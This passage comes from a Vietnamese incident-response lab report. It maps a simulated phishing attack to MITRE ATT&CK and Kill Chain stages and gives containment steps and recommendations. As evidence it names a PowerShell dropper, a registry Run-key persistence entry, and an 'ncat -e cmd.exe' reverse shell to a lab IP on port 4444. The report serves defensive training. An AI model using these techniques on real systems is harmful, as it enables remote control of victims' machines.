    - **T1048.003 - Exfiltration Over Alternative Protocol: Network Share:** Mặc dù không có bằng chứng trực tiếp, kẻ tấn công có thể sử dụng kênh C2 để đưa dữ liệu ra ngoài qua các giao thức mạng.

### 4.2.6. Collection (Thu thập) - *Giả định*

- **Hành vi:** Kịch bản đề cập đến việc "đánh cắp dữ liệu nhạy cảm." Mặc dù nhật ký không hiển thị chi tiết về việc thu thập dữ liệu cụ thể, đây là một giai đoạn quan trọng trong mục tiêu của kẻ tấn công.
- **Ánh xạ MITRE ATT&CK:**
    - **T1119 - Automated Collection:** Kẻ tấn công có thể sử dụng các script tự động để thu thập thông tin.
    - **T1005 - Data from Local System:** Thu thập dữ liệu từ hệ thống cục bộ.
    - **T1039 - Data from Network Shared Drive:** Thu thập dữ liệu từ các ổ đĩa mạng được chia sẻ.

## 4.3 Cyber Kill Chain

### 4.3.1. Reconnaissance (Trinh sát)

- **Hành vi:** Giai đoạn này kẻ tấn công tìm kiếm thông tin về mục tiêu. Mặc dù nhật ký bạn cung cấp không trực tiếp thể hiện hoạt động trinh sát, nhưng để thực hiện một cuộc tấn công lừa đảo có mục tiêu, kẻ tấn công cần phải biết về người dùng (hehehe), hệ điều hành (`Windows 10`), và có thể cả địa chỉ IP của mạng nội bộ để thiết lập máy chủ C2.
- **Điểm quan sát trong kịch bản:** Giả định kẻ tấn công đã thu thập thông tin để tạo ra thông báo lừa đảo (ví dụ: biết nạn nhân làm việc tại một công ty, cần cài đặt cập nhật bảo mật).

### 4.3.2. Weaponization (Vũ khí hóa)

- **Hành vi:** Kẻ tấn công tạo ra "vũ khí" bằng cách kết hợp mã độc (payload) với một cơ chế phân phối (delivery mechanism) có khả năng khai thác lỗ hổng hoặc lừa người dùng.
- **Điểm quan sát trong kịch bản:**
    - Tạo file PowerShell độc hại (`malware.ps1`, `backdoor.ps1`).
    - Sử dụng công cụ hợp pháp nhưng bị lạm dụng (`ncat.exe`).
    - Đóng gói chúng lại để sẵn sàng phân phối.
- **Mã độc/Bằng chứng liên quan:** Các file `malware.ps1`, `backdoor.ps1`, `ncat.exe` và cách chúng được thiết kế để hoạt động cùng nhau.

### 4.3.3. Delivery (Phân phối)

- **Hành vi:** Kẻ tấn công gửi "vũ khí" đã tạo đến mục tiêu.
- **Điểm quan sát trong kịch bản:**
    - Sử dụng một trang web độc hại (`index.html` được lưu trữ tại `http://192.168.100.150/lab/`).
    - Trang web này đóng vai trò là điểm phân phối file `malware.ps1`.
    - Người dùng đã được lừa để tải file thông qua `chrome.exe`.
- **Mã độc/Bằng chứng liên quan:**
    - `index.html` với liên kết tải xuống `<http://192.168.100.150/lab/payloads/malware.ps1>`.
    - Sysmon EventCode 11 và 15 cho thấy `chrome.exe` tải `D:\download\malware.ps1`.

### 4.3.4. Exploitation (Khai thác)

- **Hành vi:** Mã độc được kích hoạt trên hệ thống của nạn nhân, thường là thông qua một lỗ hổng hoặc hành vi bị lừa của người dùng.
- **Điểm quan sát trong kịch bản:**
    - Nạn nhân "bị lừa tải và chạy mã độc". Đây chính là điểm khai thác hành vi người dùng.
    - Không có lỗ hổng phần mềm cụ thể nào được khai thác trong kịch bản này, thay vào đó là sự thiếu nhận thức của người dùng.
- **Mã độc/Bằng chứng liên quan:** Hành động người dùng chạy `malware.ps1` bằng PowerShell.

### 4.3.5. Installation (Cài đặt)

- **Hành vi:** Kẻ tấn công thiết lập một cơ chế để duy trì quyền truy cập vào hệ thống đã bị xâm nhập.
- **Điểm quan sát trong kịch bản:**
    - `malware.ps1` tạo thư mục ẩn `C:\Users\ AppData\Local\Temp\MicrosoftUpdates`.
    - `malware.ps1` tải và lưu `ncat.exe` và `backdoor.ps1` vào thư mục này.
    - `malware.ps1` thêm khóa Registry (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftSystemUpdate`) để `backdoor.ps1` tự động chạy khi đăng nhập.
- **Mã độc/Bằng chứng liên quan:**
    - Sysmon EventCode 11 (`File created`) cho `backdoor.ps1` và `ncat.exe`.
    - Sysmon EventCode 13 (`Registry value set`) cho `MicrosoftSystemUpdate` key.

### 4.3.6. Command and Control (Điều khiển và Kiểm soát)

- **Hành vi:** Kẻ tấn công thiết lập kênh liên lạc với mã độc trên hệ thống nạn nhân để gửi lệnh và nhận dữ liệu.
- **Điểm quan sát trong kịch bản:**
    - `backdoor.ps1` khởi chạy `ncat.exe`.
    - `ncat.exe` tạo kết nối reverse shell đến `192.168.100.150:4444`.
- **Mã độc/Bằng chứng liên quan:**
    - Sysmon EventCode 1 (`Process Create`) cho `ncat.exe` với `CommandLine` chi tiết.
    - Sysmon EventCode 3 (`Network connection detected`) cho thấy kết nối tới `192.168.100.150:4444`.
    - Phân tích memory dump xác nhận tiến trình `ncat.exe` đang chạy.

### 4.3.7. Actions on Objectives (Hành động theo mục tiêu)

- **Hành vi:** Kẻ tấn công thực hiện các hành động để đạt được mục tiêu cuối cùng của mình (ví dụ: đánh cắp dữ liệu, phá hoại, duy trì hiện diện).
- **Điểm quan sát trong kịch bản:**
    - Mục tiêu đã nêu: "đánh cắp dữ liệu nhạy cảm."
    - Với quyền truy cập C2 thông qua `cmd.exe` (thông qua `ncat -e cmd.exe`), kẻ tấn công có thể thực hiện bất kỳ lệnh nào có sẵn trên hệ thống nạn nhân, bao gồm duyệt file, sao chép dữ liệu, hoặc cài đặt thêm công cụ.
- **Mã độc/Bằng chứng liên quan:** Không có bằng chứng trực tiếp về hành động đánh cắp dữ liệu trong logs, nhưng khả năng thực hiện đã được thiết lập.

# 5. Hành động phản ứng và Khuyến Nghị

### 5.1 Các Biện Pháp Cô Lập, Loại Bỏ, Khôi Phục

**1. Cô lập (Containment):**

- **Ngắt mạng máy nạn nhân:** Ngay lập tức ngắt kết nối máy `DESKTOP-5AHDEJ1` khỏi mạng.
- **Chặn IP/Port độc hại:** Thêm `192.168.100.150` và cổng `4444` vào danh sách đen trên firewall/IPS.

**2. Loại bỏ (Eradication):**

- **Dừng tiến trình độc hại:** Dừng các tiến trình `ncat.exe` và `powershell.exe` liên quan (PID 4580/10176 và 8464).
- **Xóa bỏ Persistence:** Xóa khóa Registry `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftSystemUpdate`.
- **Xóa file mã độc:** Xóa `D:\download\malware.ps1` và thư mục ẩn `C:\Users\\AppData\Local\Temp\MicrosoftUpdates` cùng các file bên trong (`ncat.exe`, `backdoor.ps1`).
- **Quét hệ thống:** Chạy phần mềm chống virus/malware toàn diện.

**3. Khôi phục (Recovery):**

- **Thay đổi mật khẩu:** Yêu cầu người dùng  ``thay đổi mật khẩu ngay lập tức.
- **Giám sát tăng cường:** Tiếp tục giám sát chặt chẽ máy nạn nhân và mạng lưới.

### 5.2 Bài Học Kinh Nghiệm & Khuyến Nghị

Cuộc tấn công cho thấy điểm yếu lớn nhất là nhận thức người dùng và kiểm soát hệ thống chưa chặt chẽ.

**Khuyến nghị để ngăn chặn các cuộc tấn công tương tự trong tương lai:**

1. **Đào tạo nhận thức về an ninh mạng:** Thường xuyên huấn luyện nhân viên về **phishing** và kỹ thuật xã hội.
2. **Triển khai EDR/MDR:** Đầu tư vào giải pháp **Endpoint Detection and Response** để phát hiện hành vi bất thường.
3. **Tăng cường luật Sysmon và Giám sát Logs tập trung (SIEM):** Tối ưu cấu hình Sysmon để ghi lại Process Creation, Network Connections, Registry Events, File Creation và tập trung logs vào SIEM như Splunk để cảnh báo tự động.
4. **Cập nhật phần mềm thường xuyên:** Luôn giữ hệ điều hành và ứng dụng được **vá lỗi và cập nhật**.
5. **Triển khai Kiểm soát Ứng dụng (Application Control):** Chỉ cho phép các ứng dụng và script được phê duyệt chạy trên hệ thống.
6. **Triển khai Xác thực Đa yếu tố (MFA):** Áp dụng **MFA** cho tất cả các tài khoản quan trọng.
7. **Giới hạn quyền hạn (Least Privilege):** Đảm bảo người dùng chỉ có quyền cần thiết.
8. **Tăng cường Email và Web Security:** Sử dụng giải pháp lọc email và chặn truy cập web độc hại.

# 6. Kết Luận

### 6.1 Kết Luận Cá Nhân

Hoàn thành bài Lab mô phỏng DFIR nhằm vận dụng kiến thức đã học từ **TryHackMe SOC Level1**

### 6.2 Hướng Phát Triển Tiếp Theo

Lab này cũng đã chỉ ra những điểm yếu và cơ hội để cải thiện trong tương lai:

**Điểm yếu lộ rõ từ Lab:**

- **Phòng thủ Endpoint còn hạn chế:** Dựa vào kịch bản, hệ thống nạn nhân thiếu các biện pháp phòng thủ chủ động như **kiểm soát ứng dụng** hoặc **EDR mạnh mẽ** để ngăn chặn hoặc phát hiện sớm việc thực thi mã độc.
- **Thiếu tự động hóa:** Quá trình phân tích và phản ứng còn mang tính thủ công, chưa có các công cụ tự động hỗ trợ.

**Phương hướng cải thiện Lab trong tương lai:**

1. **Mở rộng Hạ tầng Giám sát và Phản ứng:**
    - **Thêm SIEM (Wazuh/ELK):** Cài đặt một SIEM/XDR mã nguồn mở như **Wazuh** hoặc **ELK Stack** để thu thập, phân tích và cảnh báo tự động từ nhiều nguồn log (Sysmon, Windows Events, Network Logs).
    - **Tích hợp Network IDS/NSM:** Triển khai **Suricata** hoặc **Zeek** để phân tích lưu lượng mạng, phát hiện các kết nối C2 và hành vi mạng bất thường.
2. **Mô phỏng Kịch bản Phức tạp hơn:**
    - **Thêm Active Directory:** Giới thiệu một máy chủ AD để mô phỏng các kỹ thuật tấn công và di chuyển ngang (Lateral Movement) trong môi trường miền.
    - **Thêm giai đoạn Data Exfiltration:** Phát triển các kỹ thuật mã độc để thực sự đánh cắp dữ liệu và kiểm tra khả năng phát hiện.